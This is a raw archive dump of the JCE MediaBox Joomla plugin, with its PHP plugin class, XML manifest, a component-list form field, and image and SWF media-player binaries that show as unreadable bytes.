IHDR�o&�sBIT|d�	pHYs��~�tEXtCreation Time01/13/10�d[�tEXtSoftwareAdobe FireworksO�NVIDAT�U�1
� ���A{��G�!$gpq/t�ds
�U�j�6ww,��sN���R
ZkO3C�)�[U�cD�U{�2�8����,��mĚIEND�B`�PK�(]�#o,,.system/jcemediabox/themes/light/img/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]���ee"system/jcemediabox/jcemediabox.phpnu�[���<?php

/**
 * @package JCE MediaBox
 * @copyright Copyright (C) 2006-2017 Ryan Demmer. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL 3, see LICENCE
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 * Light Theme inspired by Slimbox by Christophe Beyls
 * @ http://www.digitalia.be
 *
 * Shadow Theme inspired by ShadowBox
 * @ http://mjijackson.com/shadowbox/
 *
 * Squeeze theme inspired by Squeezebox by Harald Kirschner
 * @ http://digitarald.de/project/squeezebox/
 *
 */
defined('_JEXEC') or die('Restricted access');

jimport('joomla.plugin.plugin');

/**
 * JCE MediaBox Plugin
 *
 * @package         JCE MediaBox
 * @subpackage    System
 */
class plgSystemJCEMediabox extends JPlugin
{
    protected $version = '@@version@@';
    
    /**
     * Create a list of translated labels for popup window
     * @return Key : Value labels string
     */
    protected function getLabels()
    {
        JPlugin::loadLanguage('plg_system_jcemediabox', JPATH_ADMINISTRATOR);

        $words = array('close', 'next', 'previous', 'cancel', 'numbers', 'numbers_count', 'download');

        $v = array();

        foreach ($words as $word) {
            $v[$word] = htmlspecialchars(JText::_('PLG_SYSTEM_JCEMEDIABOX_LABEL_' . strtoupper($word)));
        }

        return $v;
    }

    private function getAssetPath($relative)
    {
        $hash = '?' . md5($this->version);

        return JURI::base(true) . '/plugins/system/jcemediabox/' . $relative . $hash;
    }

    /**
     * OnAfterRoute function
     * @return Boolean true
     */
    public function onAfterDispatch()
    {
        $app = JFactory::getApplication();

        // only in "site"
        if ($app->getClientId() !== 0) {
            return;
        }

        $document = JFactory::getDocument();
        $docType = $document->getType();

        // only in html pages
        if ($docType != 'html') {
            return;
        }

        $db = JFactory::getDBO();

        // Causes issue in Safari??
        $pop = $app->input->getInt('pop');
        $print = $app->input->getInt('print');
        $task = $app->input->getCmd('task');
        $tmpl = $app->input->getWord('tmpl');

        // don't load mediabox on certain pages
        if ($pop || $task == 'new' || $task == 'edit') {
            return;
        }

        // load in print
        if ($tmpl == 'component' && !$print) {
            return;
        }

        $params = $this->params;

        $components = $params->get('components');

        if (!empty($components)) {
            if (is_string($components)) {
                $components = explode(',', $components);
            }

            $option = $app->input->get('option', '');

            foreach ($components as $component) {
                if ($option === 'com_' . $component || $option === $component) {
                    return;
                }
            }
        }

        // get active menu
        $menus = $app->getMenu();
        $menu = $menus->getActive();

        // get menu items from parameter
        $menuitems = (array) $params->get('menu');

        // is there a menu assignment?
        if (!empty($menuitems) && !empty($menuitems[0])) {
            if ($menu && !in_array($menu->id, (array) $menuitems)) {
                return;
            }
        }

        // get excluded menu items from parameter
        $menuitems_exclude = (array) $params->get('menu_exclude');

        // is there a menu exclusion?
        if (!empty($menuitems_exclude) && !empty($menuitems_exclude[0])) {
            if ($menu && in_array($menu->id, (array) $menuitems_exclude)) {
                return;
            }
        }

        $theme = $params->get('theme', 'standard');

        if ($params->get('dynamic_themes', 0)) {
            $theme = $app->input->getWord('theme', $theme);
        }

        $config = array(
            'base' => JURI::base(true) . '/',
            'theme' => $theme,
            //'mediafallback' => (int) $params->get('mediafallback', 0),
            //'mediaselector' => $params->get('mediaselector', 'audio,video'),
            'width' => $params->get('width', ''),
            'height' => $params->get('height', ''),
            'lightbox' => (int) $params->get('lightbox', 0),
            'shadowbox' => (int) $params->get('shadowbox', 0),
            'icons' => (int) $params->get('icons', 1),
            'overlay' => (int) $params->get('overlay', 1),
            'overlay_opacity' => (float) $params->get('overlayopacity'),
            'overlay_color' => $params->get('overlaycolor', ''),
            'transition_speed' => (int) $params->get('transition_speed', $params->get('scalespeed', 300)),
            'close' => (int) $params->get('close', 2),
            'scrolling' => (string) $params->get('scrolling', 'fixed'),
            'labels' => $this->getLabels(),
        );

        if ($this->params->get('jquery', 1)) {
            // Include jQuery
            JHtml::_('jquery.framework');
        }

        $document->addScript($this->getAssetPath('js/jcemediabox.min.js'));
        $document->addStyleSheet($this->getAssetPath('css/jcemediabox.min.css'));

        $document->addScriptDeclaration('jQuery(document).ready(function(){WfMediabox.init(' . json_encode($config) . ');});');

        return true;
    }

    public function onExtensionAfterInstall($installer, $eid)
    {
        if ($eid) {
            // extension path
            $path = $installer->getPath('extension_root');

            // extension name
            $name = basename($path);

            // bail if not jcemediabox
            if ($name !== 'jcemediabox') {
                return;
            }

            jimport('joomla.filesystem.folder');

            // cleanup legacy folders
            $folders = array('fonts', 'mediaplayer');

            foreach ($folders as $folder) {
                if (is_dir($path . '/' . $folder)) {
                    @JFolder::delete($path . '/' . $folder);
                }
            }
        }
    }
}
PK�(]��=~~"system/jcemediabox/jcemediabox.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
    <name>plg_system_jcemediabox</name>
    <author>Ryan Demmer</author>
    <creationDate>17-11-2022</creationDate>
    <copyright>Copyright (C) 2006 - 2021 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>www.joomlacontenteditor.net</authorUrl>
    <version>2.1.3</version>
    <description>PLG_SYSTEM_JCEMEDIABOX_XML_DESC</description>

    <config>
        <fields name="params">
            <fieldset name="options" group="options" addfieldpath="/plugins/system/jcemediabox/fields">
                <field name="theme" type="list" default="standard" label="PLG_SYSTEM_JCEMEDIABOX_THEME" description="PLG_SYSTEM_JCEMEDIABOX_THEME_DESC">
                    <option value="standard">PLG_SYSTEM_JCEMEDIABOX_THEME_STANDARD</option>
                    <option value="light">PLG_SYSTEM_JCEMEDIABOX_THEME_LIGHT</option>
                    <option value="shadow">PLG_SYSTEM_JCEMEDIABOX_THEME_SHADOW</option>
                    <option value="squeeze">PLG_SYSTEM_JCEMEDIABOX_THEME_SQUEEZE</option>
                    <!--option value="bootstrap">PLG_SYSTEM_JCEMEDIABOX_THEME_BOOTSTRAP</option>
                  <option value="uikit">PLG_SYSTEM_JCEMEDIABOX_THEME_UIKIT</option-->
                </field>

                <field name="transitionspeed" type="number" default="500" step="50" min="50" class="span1" label="PLG_SYSTEM_JCEMEDIABOX_TRANSITIONSPEED" description="PLG_SYSTEM_JCEMEDIABOX_TRANSITIONSPEED_DESC"/>

                <field name="overlay" type="radio" default="1" label="PLG_SYSTEM_JCEMEDIABOX_OVERLAY" description="PLG_SYSTEM_JCEMEDIABOX_OVERLAY_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="overlayopacity" type="number" default="" step="0.1" min="0" max="1" class="span1" label="PLG_SYSTEM_JCEMEDIABOX_OVERLAYOPACITY" description="PLG_SYSTEM_JCEMEDIABOX_OVERLAYOPACITY_DESC" />
                <field name="overlaycolor" type="color" default="" class="color" label="PLG_SYSTEM_JCEMEDIABOX_OVERLAYCOLOR" description="PLG_SYSTEM_JCEMEDIABOX_OVERLAYCOLOR_DESC" />

                <field name="width" type="text" default="" class="span1" label="PLG_SYSTEM_JCEMEDIABOX_WIDTH" description="PLG_SYSTEM_JCEMEDIABOX_WIDTH_DESC" />
                <field name="height" type="text" default="" class="span1" label="PLG_SYSTEM_JCEMEDIABOX_HEIGHT" description="PLG_SYSTEM_JCEMEDIABOX_HEIGHT_DESC" />

                <field name="close" type="list" default="2" label="PLG_SYSTEM_JCEMEDIABOX_CLOSE_ACTION" description="PLG_SYSTEM_JCEMEDIABOX_CLOSE_ACTION_DESC">
                    <option value="1">PLG_SYSTEM_JCEMEDIABOX_CLOSE_BUTTON</option>
                    <option value="2">PLG_SYSTEM_JCEMEDIABOX_CLOSE_BUTTON_OVERLAY</option>
                </field>

                <field name="scrolling" type="list" default="0" label="PLG_SYSTEM_JCEMEDIABOX_SCROLLING" description="PLG_SYSTEM_JCEMEDIABOX_SCROLLING_DESC">
                    <option value="fixed">PLG_SYSTEM_JCEMEDIABOX_SCROLLING_FIXED</option>
                    <option value="scroll">PLG_SYSTEM_JCEMEDIABOX_SCROLLING_SCROLL</option>
                </field>

                <field name="icons" type="radio" default="1" label="PLG_SYSTEM_JCEMEDIABOX_ICONS" description="PLG_SYSTEM_JCEMEDIABOX_ICONS_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="components" type="components" multiple="true" default="" label="PLG_SYSTEM_JCEMEDIABOX_COMPONENTS" description="PLG_SYSTEM_JCEMEDIABOX_COMPONENTS_DESC" layout="joomla.form.field.list-fancy-select" />

                <field name="menu" type="menuitem" state="1" default="" multiple="multiple" size="10" label="PLG_SYSTEM_JCEMEDIABOX_MENU" description="PLG_SYSTEM_JCEMEDIABOX_MENU_DESC" />

                <field name="menu_exclude" type="menuitem" state="1" default="" multiple="multiple" size="10" label="PLG_SYSTEM_JCEMEDIABOX_MENU_EXCLUDE" description="PLG_SYSTEM_JCEMEDIABOX_MENU_EXCLUDE_DESC" />

                <field name="dynamic_themes" type="radio" default="0" label="PLG_SYSTEM_JCEMEDIABOX_DYNAMICTHEMES" description="PLG_SYSTEM_JCEMEDIABOX_DYNAMICTHEMES_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="lightbox" type="radio" default="0" label="PLG_SYSTEM_JCEMEDIABOX_LIGHTBOX" description="PLG_SYSTEM_JCEMEDIABOX_LIGHTBOX_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="shadowbox" type="radio" default="0" label="PLG_SYSTEM_JCEMEDIABOX_SHADOWBOX" description="PLG_SYSTEM_JCEMEDIABOX_SHADOWBOX_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <!--field name="mediafallback" type="radio" default="0" label="PLG_SYSTEM_JCEMEDIABOX_MEDIAFALLBACK" class="btn-group btn-group-yesno" description="PLG_SYSTEM_JCEMEDIABOX_MEDIAFALLBACK_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field-->

                <!--field name="mediaselector" type="text" size="50" default="audio,video" label="PLG_SYSTEM_JCEMEDIABOX_MEDIASELECTOR" description="PLG_SYSTEM_JCEMEDIABOX_MEDIASELECTOR_DESC"/-->
            </fieldset>
        </fields>
    </config>

    <files folder="plugins/system/jcemediabox">
        <file plugin="jcemediabox">jcemediabox.php</file>
        <folder>css</folder>
        <folder>fields</folder>
        <folder>img</folder>
        <folder>js</folder>
    </files>

    <languages folder="plugins/system/jcemediabox/language/en-GB">
        <language tag="en-GB">en-GB.plg_system_jcemediabox.ini</language>
        <language tag="en-GB">en-GB.plg_system_jcemediabox.sys.ini</language>
    </languages>

    <updateservers>
        <server type="extension" priority="1" name="JCE MediaBox Updates"><![CDATA[https://cdn.joomlacontenteditor.net/updates/xml/mediabox/plg_system_jcemediabox2.xml]]></server>
    </updateservers>
</extension>
PK�(]i��}
}
(system/jcemediabox/fields/components.phpnu�[���<?php

/**
 * @package     Joomla.Platform
 * @subpackage  Form
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */
defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('list');

/**
 * Form Field class for the Joomla Framework.
 *
 * @package     Joomla.Platform
 * @subpackage  Form
 * @since       11.4
 */
class JFormFieldComponents extends JFormFieldList {

    /**
     * The field type.
     *
     * @var    string
     * @since  11.4
     */
    protected $type = 'Components';

    /**
     * Method to get a list of options for a list input.
     *
     * @return	array  An array of JHtml options.
     *
     * @since   11.4
     */
    protected function getOptions() {
        $language = JFactory::getLanguage();
        
        $exclude = array(
            'com_admin',
            'com_cache',
            'com_checkin',
            'com_config',
            'com_cpanel',
            'com_fields',
            'com_finder',
            'com_installer',
            'com_languages',
            'com_jce',
            'com_login',
            'com_mailto',
            'com_menus',
            'com_media',
            'com_messages',
            'com_newsfeeds',
            'com_plugins',
            'com_redirect',
            'com_templates',
            'com_users',
            'com_wrapper',
            'com_search',
            'com_user',
            'com_updates'
        );
        
        // Get list of plugins
        $db = JFactory::getDbo();
        $query = $db->getQuery(true)
                ->select('element AS value, name AS text')
                ->from('#__extensions')
                ->where('type = ' . $db->quote('component'))
                ->where('enabled = 1')
                ->order('ordering, name');
        $db->setQuery($query);

        $components = $db->loadObjectList();
        
        $options = array();

        // load component languages
        for ($i = 0; $i < count($components); $i++) {
            if (!in_array($components[$i]->value, $exclude)) {
                // load system language file
                $language->load($components[$i]->value . '.sys', JPATH_ADMINISTRATOR);
                // translate name
                $components[$i]->text = JText::_($components[$i]->text, true);
                
                $components[$i]->disable = "";
                
                $options[] = $components[$i];
            }
        }

        // Merge any additional options in the XML definition.
        return array_merge(parent::getOptions(), $options);
    }

}
PK�(]]n"G�G�.system/jcemediabox/mediaplayer/mediaplayer.swfnu�[���CWSg�x�|wXTG���]�Ж��z)��AA�"  �-,E��eAH���+b��AEPc�F���5�X5ƬFc����5��{��O��;�9s�L���n��B�`B��u@}k�;F��2'7 !,��(*,.
����*UI���Q�\Fy�(�y����n��`�\ZY��U8��u����ʂU���%eY�2U`��Z�9��NKʔ��eN���P^$/V���������\��H�
���dˈ;�
��|E��Q�r�sn��4���C�GU�*���Ȳ��lD���
���s�6�C�A�Z�B�M�9>�#�Jʲ
J��ʶr��Q2%�(+Ρ�ҌI�l�\�R�_3���,���2Y�<H^���H}��h
d*y���s������ݛ�({�����'��� d -�7�9>$11u@B:e#�a�{Lo��`	��7��Q�P���A:#� �+�)��s��XFy�<-��b���ъX���{O~]?��n�5)zo<�!�uB��B��y�z���b�������s�gw�st���D�Dėć%5��t��v����C��
v(
�W2��𥡑�F����h���q���I�I��`SS���F�-3��Ldnee��y�9c1�b��u��)��,�v���k���OG��kt�B3�,�hr^�O�6�_[����H7��Z7�^����+>��3��f��w�o:\%�����dVi����vUz�k�N���&4z_np�׏�7��ӕ2M��+۱�d�駝�y��zq�pK'��M�ӣ��5��ϤW��p��㑹O�Z�\�V�i��O*W�1	����;O]J�Y���*�R�M)�YZ���q���;�T�W_t�p��1	}�ϖ֟S�=zy/�)�?�+�ٯ{���OGn�XZ���~z�prك_FO:�pV��C&��?���M��]ml~4�b�����N����f�qV�v4�T�8"�:Ywp�������9/Aeӽ��5�Ǧ��'�[��hc���ׂG%���뽪�/s�Kj�5��o�G�DF��Wϲ�4k�dU��_ز$y�agՎ���|3�������cV��F�� ���I/��
�S8]�**������Ay����qI�Z4h�s�P筦�s�B�ʡ1���z9)�b�n5N؄������R�G��"{�����ij���t"ef���c�gM�)j��F��8s�h��_�h$IF~)O��Ҍ�?��-�{=r��O6"4tR|�.�����r�_��[>�9��t����=��W+�w���$5���y�_�9$,o@�L�g_�4u�4�!�PQ�BK$
�9zKjb
�Y3�-b�IH���u rj<JX���������Wf�m��L��}���s��p{�<��<5N�I���%��L��Q�w;ҟE�T>c�d�ّ�mK׭9��� A!;�c��Rڡ`���և��"�<Y��..���/?Ђ^m�Z���l$Ӝ�U�4&��V�)�a�yev��Sf1�'��]c��/u���k� ��:4�)y�C�c�"I�:$�ĩL�k�Eɺ�OƮQ�.�+��4逸�æ�r�g�o�q�e�h����ȹ1��*�gފ#��H2(^�S]v��|��I'���Y�&�)nZ#�Cl�^\�0I���_#�T����6��vөwٴ��_G��M|��s��]���ߌ� 4o`YK�*ux9��f��ԭ.V#��󈟤���|~n����v��|�7�Wr��pZ�,�JA��^f��e�@������Xꘝ��5�Z���������]�{™5x�͘�v
�9�SL��U՘�m75�me��M��Y�9�r�.�7t۠�ɫ�?��te��ۛԬ�qA���{n�O��y�e�%o�w�wwwq>s�S��?�Y����C�E�wK�Վjl�������'+<�M���npȴ���p�|{>X�O�}zt����.]o&������x
VxV&�!�eҽ﩯��xx{E�r��7��<��H�޵閐4nP�1���k(p���}?�@ێ��{$ˢ{ d$NC��owL��:h�Yݹ��v ��[l�!<F����۱�\������KH2'�G��iq�.�f���Т�k�om����y��i��xB7k!ܓ�#���u��[/-v]��q���ܟ=qܬ&�1b�A���{�3S�Ȅz`��@�	��}�K�$�}�H=�g�7]�x)�*ⶣ״�H�߀\���Z����0�7 �S�{/���4���θ�;�W��վ@���5QKf�KIj����jdkb�J�)��3<1��:?0)b���Y��IJr�$��z�]���iի�w ���W���M���Z�i�����C��V ��`�x����$�	uc���Ԫ��wt
�Nݘ:|��J�㏙�\߹M%�'MW�].�[ө��d�yz>�(iBcŒ�?�sl�ބ�O�oL��"���xbȸ�	SŲ�N[�k��hc
b���.Km�pX52݀Ғ�'gZ��"kt�#��i�y@Y���������z�{_����7>��U�f�<�ޙ�5�(�^tr�k5�<a2s��ޱ�gRBy=�O����r�r�S�M�
���ֺc�7��id�Ü`ފ��6O����\�}V��<��?��v�ִlى%���82�I�!d�<��!$F��6���u7�7�}��I�$���)�ㆦڧǎ@�n����^�S�6Em~�T�[�zn���s��	���5^�v���Mv8�g�5�{|S�i-yA��)��h]C�	M��?4/m�D=wn@^�<xzA0
[ь\s-�M~|�|�d�[u�Sz7�r{2nd�w#��w&�NF�Ó��m�2�iyխ' �(;<�`����r��&/��&7'/C:�'Z،6��7�����ͽ���<���h�3�E�Sz��?#��M�8�f��]��X0�v�TK�_��{
����9���i�"��'��h��`�'z;�ݳ_{m@I�fG�O��݀<,~7���'e�ꝏ��+��U����א�6:��m��+2Q*Ј^�f)e_#~0ll熤}70_�iY�ԵCe�m-
�-s��ZQ/�a��ß��)�ؘ��)�����j^�+���=��\d�ia����,�΢�������y!���*B�T�a<2��(57A^6Ȼ�%d��r����T#�%�l]�<��`�]��[h;<1�[e0o�hd�m|�O~�MVc}��c
�?��e��?c+����Z.Nנdk5Ϊ�8��{,�֛�L1��,-�J�Ԍ�$�Y�8m��r�DfҐٳ_n�&on}9\���. AB5��fJr�?l�����]S2��Ik���m������&Fo�|��DG$��+i8�����n!Ʊ�q�8{����������=��v��ѵ�Gϼjr�}�y�S��v�$$:RPW����c�9���\��M�eZ�dY�}�-�������>`����N)��l�G�9��/��l�x]Wg�:͛ ?x�eR�H޳���u�T���"�`^58z0g��>��C��uU�����͞�

�\cX�@u�b��C8`p0X��e��~��tƣa7��=�S^��$��?�)7��*#��fMwB�0LG��pirnn��S(�$xyʷ�&�^L;�$z��oo��;���GHr�����(�Eyǃ�棭��<oEN��w=�����${_T��h`���L�vo��?R����(��g �L���c&"�[o��w|��bV��a�(uk0��(�O�t�녒�����Ը.�K�-�p�q�*=<a����|y�a�`4�*"\'d�,X�Xt��Y�%����t$�NB��jέKIHز9�|��;���1p;“���N<`�����|�PT�L3Kw�c��'V5y��������L�6�-6w8u+��XP_�d�h�c8�4����e�(�Ď���SIb!X��������A��p�����<~V��|�a\����%���N�̭�HQ��L4xϨf��a\��:CT>20����67�\�� ��=V��w�X�"�1<1wm��MseCt��c�$.8�Z;�G!r؀x�L�݃���As�����E/3Xd�v��a�ҝ'�Ο�L�D��b|]gg�*4,�y�5D�F�~]�]��]�ȸk�/Q�̮�����i�^vM~�w�`�gB&���t�1po���컹շo٩qbGě 
�F}o)53?ݪ{�N���7�֭7ao�s�ݼ�M�;<P�O"=�����ۢ��{o6oR�#�˵諱
	S�VF���u�_�\���B��ol݆�Y���_n�����wѺK/\j�<���t��P�j���.jV�X,~���C1�/����:�Xd/�{��\<6�K�?!�WM�-}����M��^z�:wv-$j��|�`���|�׿鹢מ�[�G-m�H���y6}ٴU���L#��;S�����k��a���� %�3�������ݶ�I�I�bo���b��a���H�[�]�?
UM��o��M�(�$�E���c�\���?���:nؼÊ�>�'��qrlp��G����ߤ!�ϐ�I�����y���[�g��Mj0�a�B`�Կ���a[W�o�Pe���.EL����.g��لY���S����x[j8ܸ�f�x��p��c7����I�~a��q��H��MR�b�g����yK;�W6�h��74��xMc&j<��Wk�{��*��1�7�''��)���BZg�td�.?nb�a�[�ή�x�ը�a��f��tQs���w�� �g��{3gv��t�<�����M�68�Yty��!OѶ�c/#�ǃW��Rȁ<��ʸ���Q���l����

0�D�yS�S���l7MN960��]끬V�M�j��x�Fwʭu�Z����q�M�%rLlF�k�kC�H���4uq3��y�I}7Y�Q�w�z9m��i�����B�d��dh	*�b�������@��c7!ˆ-�S�>��;_���T4���hE������v^�[����V��C��jԵJ��)��)����w�:䠻�q|�ީ�����,���%4 :X�b�wy�&�ԝ)��zb�`�Y��Eb22�4ءlB�Mx� Z0v
�Ղ*ou�9RS�U�J���w�#�`l�z���cV��g}����;����ޢ�>a�T�>v�;���aȘ�(�����Cӳ�q�+5�S��<ꗨ˳�e���Nj�yz�q��n�D3Ŀpִ�'�e?t�?�g��|j��
��޲���X6_
L�Z?}���=��a(t�Lظ���d��$H�8;���΍��Af�x�3�d~NZ�w��cYHȚf3�d���{�`^��9�����>	nM��w	m��g��:6i��Z��6U��7��}Oǽ�;#g9�kWk�Yn��S6�����j���v����^� �73p��r�<�	u�ې��wahs���ouO�viƟ]̾�2�k�Չ��ٓ�7o�ٗs"?��f���*w��i��Mk@���M�<_H��8s�N�
J~(��'���^��Kk��ɼ��{�(��9/�č�?S����߈m��Y\UCr���
��nzVC��
�Ms��-�X�xc�����3yY,j@6��e�}Y�6�7��(z�E~N�^�a�7���*�(�.�'��d����~��f5��%u^iu�CO$!��9i�?����ߪ�I�Q��3+�J��S�g��?|B��T�$	��ȗU���g�p씚�)���J�U�Σ�⋻�t{�<bȵ��&�E��đ�U;��A9��v�uM�~�򷽖X��_������^�S
7�ܽ��¸�񄪵+�Bf&��f�Aœ)�aȴ��M	��2#�u�8�>�[���oA��j�r	�O�SX��Ӑ��67�̖��_�{zf����j��&���P�ϏN#K�m����{��V5���x�s����s+6��_�8�0�_Ɣ�J���O���/ܫX?OـL��4%`I����o��5׿ET�X76��{�?e��x��s�%�H�ኸ�
wrwޙZm}g|/��w�y��Y�`}kS��u4Æ�{t�d�͕U�p}<d��Pw&N�i���*c/[_�����V�ժ
��/�����(�-}��?���)Ã�I����Q-@_l�/x��E�Y~kנ�(��q��9�U#�E�NZ~22tc���ߟ�b1��u�:��p\j̍�!���\~{��e�&a�I`�Z���~E���$^�Yt��?v��\���ϩCǗ�Z��5��_�����|s�%����FC�6��C��*�o�� �	����Q"�>\3�WN��2Ţ��H�zY���ɟ7	���kRs��G�ҽVw��,���'/�P��w����F����pk��۲���#
F����i���p���d��d�-(I���rx�F�ں,"xd3z/2�
�y��0io�'��NIֳ�7niܙ.M�j@�9��9z��ƣ����F�?�Zրz��q\:h�`��8�/,u�}��N�.��BNO˾ѡ*!x��a�Ѥ�52t�G�+:?<��s�&�P��W�IWăzZo���q���InǢ�a�(A=,_-_��
�Z�����4��$����Q��Aݚ�L=�ƴ��`,�p�Yc��WߤZ�r��V[�����Ւ����+A��3^by:��o�}�{�wh+���;h��9D5���w�y�‘[�Ό��S���I��>���b��B��!��K���./�9��`�m����O]7�r�'�y����Ew�&�y��s�b#ǭ���Psp�`�n]����PYMb���r��5a��;��4���k����L|�(X��h��~��%�,qkҷ�=]�[2��ڹ䨺�B�:�,O�9��݀��i
ɗ��n��:|-,kc�t�̩C�MA��:i���&�Rهg.����~bלqǑ n2?��W�?���{�T�eF�����_�,���Ի�������i��'���t������ǵ�Wݖ�_�
�7��5��-��jǽ͎Ͽ��|9���'�u����";d���n�;��#��\�+rC��y"/�|�/�C�(�B�Q 
B}P0�@��4��a(e�l$G��)���2�5��AcP-:»�3aMYK�k�Z����,�ڰ�l7֍�gص��͢~���4�<�<�z��'�~C�#��l��p	0��"i$���~��?��g�u�� �	0��u�S��1�����;�����<�Y�qB�G��Ry�ijF�(�{B�"��L����1��������	
�Ag�=x��S\8�]�z�M;��C���x�
ϒ����"p��AT��r9���(*WRyㄜ�/<��Tf�N��?&Y�K[@��v���<��/Մ>}>�b5�'���:�b* ��3�S�8�=/"`|�h]h�DN�D�B�%z%��I�D_I�9��օFK�z�z��]h�Y�I�ij ���RM( ��`5ջ�L��J��A"	��L$1@�uL-��,?y���XM�E!����5�C0�ʩ�������EI�!��W1���!��R�M*�A�T�J���AԒ`"�$$���@�
2)��I0�-�'��&��C����^rh�\�K��}
*9�G�I�U��R�\
�K���<�9	�	��`* ��ru`K�\FS	��jB�-o!����TE-GQ��T	�I�d�90�=�oBK^�P��Ǝb5`�K����dA�xmHlv��7��T
�2	�aH��0���D5�9�Ð�4�!�<�!�L��"�&����f�t�����	�)6Q=�fQ�Y���f��b�w�S\(�R�S\���,�K�Υy�Ҽsi޹L����Q���Dq"�R�+^Ϣ�\���oS�p��z���MY������������Ep9C�u�)6Q��|O���E�T���E4u��,b�D�Eu���ԁ�Y�ƿ^Le���zH���3�og��fJ_ͥ���S�{*����ϫ�
�Iy ���h$D�DS��5�ӛ:@!��(�����%�d`M�҉<���B��|O�U���1k�7P�0r������.��
��G�So�Ͻ;D�(��1� W�<�Sl��
p<��0>�)6Q�c60z/���̞�I��%���B���
��@lv�6�6�����f(k�:@����NP��LݛE���H���E5���-�� �F�:f+ij���vQ���}-��Q��b�C����Dn��
p<��Z����6���좚*f'�0�����(n$��'�&*o�n�����~�G(�Pl�x�b��F��FH�&����-F��鯷����֚�n�I��u�b����:��
C4
�����
����
H������T��i�ր��6��7`
�~�G(�Pl�x��.��|F� �9@=<J5U�A�A�A'�4���I�m�$Nb���y�z;H�<J5+�C4�C��2���)��B���I�u�a�}�P��������h@O�!�6@��
8�9B�9B�!x�j&2Gi��y��-����x�b�V�')�1Ǡ�1-��̂Z"����]3 ����?Μc���w��ǙC�&��cN�Y�Jk�Jk�JkG4
L+����LjGlv��n�G)�1?���a���������f7�I�'i���|�mg��o~ٙ�4�K�^��ޚ.yՙjX*�P�0���S�E���M�
<c@�w&���Y*�P��x0�翱���;S�p�c�9��L����� '���΀o޹z���- Ո�1 ���fͩފ"K56T��hG5]):Q�3E)�#�JߛV���rg�,�����$g"�St���0��	ߚ�BX�7�N�$�΀F��ƀ$��P�9�[P�E�jl(���I��w�؍�(�J�K�](�P��o�߆����� K�[P���R�
���	�ږ�H��tT�B.c���2� @ҧDoH�n�;>}�B��,�+��Ao�0���P��[����t$>	��v�_ʷ��ԂȦ�^�,��
0�mG*[Sd)��1F�+E#~W�e8�Mg��7,E@9�8�A�Y��N��dc��ߘ����zg
(}ߙ�6�$Z�wl~�B5�Y�7�;��u�Z����#z)�r��AЎj��A_������T���A[�v���:��t��"6R���	 ����Y���6T���
�;P�; ��P����]`+�K5��)v仃O;@/�w{o�>T�K��VܛʡTF�p�&|����Չl�����L�^t=��,��/a�BB�.��o�l@@-����R�Ⱦ���6�b��R��h�����k�5����DER���=(z�R�&P��R9�b8��Qc5Ȇ��aH�4и��)Q$>}`u
�r՛�}AcX��
P����?�=)zS�/�5�7��(S�A1��	ߏ���?hI;�?�i�����{A)&��;S��X����$�"�B��=�w��^����v��Q}0`�۾T�F1�bEc~oZzogoUo(ݙ�](��� ���(��!� Y�� ZS@�.��5�Y@��At���4Ճ�' �qb�A�(�P�K���oޅS9�b�X@
��1��1�Z���&P�ތB�	��!45��=������$�	$�ȡ�)FP��a����܍���&��?�	�F1P�>��e,��Q��CAoH|���d(�js��H������z�sl�n�d��Eo��� _*P�7� �	�ؗj¨Ee)?r���!�K1�b8Ec~8�;S�$�L8��;`�[o@�wA���c)�Q��G��1�XZ�����;w��$k��$1� �L0�b��}��)�.yGe;~$���G��h���ǃO���`+���	�??��ބC����X��$+�pg,��E5C(�R�	?�捣���{���$+����g@҃���=)S�F1�"�7e��΁�pd�﫩l	o��۰,yց��:p4V���b�^��6��.y%�x�He'��v�_�/�j��~�!���|�di�5��P�1H�{��F!t���R?��۽��Ж��ҽ�;�n�y)
bxw��#��B,���D���R���S���ݗ�ޣ�B��K��c>�oM{�z��V��7���$���{�hkӛ�[5�?�)�]zK=]�\D$?H�ڇHz���3m����m���v���z���_�����\�cN�q_�:����|��I�E�XE�BUY"gC���~ͅ
),d
��U�l��T�,�縠g<e
�o&F�PR�C�߿߂�!��8��BQ�U�W6����I�p���0�ٸ
4ݘ��S��� ��#�CL|Cи6H�7�j��H�J��!�fLl�W�Z�
/���;���z/6�p2IG#x	EQ��� �Z�bccy�����%FB]�fM�2A���3��v��]�wm�Cvl�Wε�f<:�4x��܈���\C��Nb���sn�nT�
3��Ȏ�?>l�3���.�Ɏ+��E Α�:k-G�(��+m�Z[�rz7:�v�(�:�pT֕��+���`oT��n���g��ᕫ�.���.p|�T
L��w�z�)��n@��!5�Ԍ����Z�G`@�H?�寇��v'��ױ0����B��ܛu"�X_���+`f�Zd�R[���!#OOO"*u�f�q���nB+�%݌{ �_�X�����ZJIM�.8�&c�[:����[5_��H_�yz�
���5�\��H��f�(�75����h��7sA�4y���sZ��l�53�GKI�������,ii�����bS���u$�����:vF�ܞ�k�v���ڥ0��Ly�h�?꟣�'��B�i���#4�Й��+d�Bm��(<���wkԒڶ��m��{�^t��b�ϙ:�#fq/�ݪ�F�>+X�k�Ո<�����,�����_��]��cC�D/j�$/���9Ј:�L��R?K�'2���Єkq�����6G���d�S�iǃ	L-
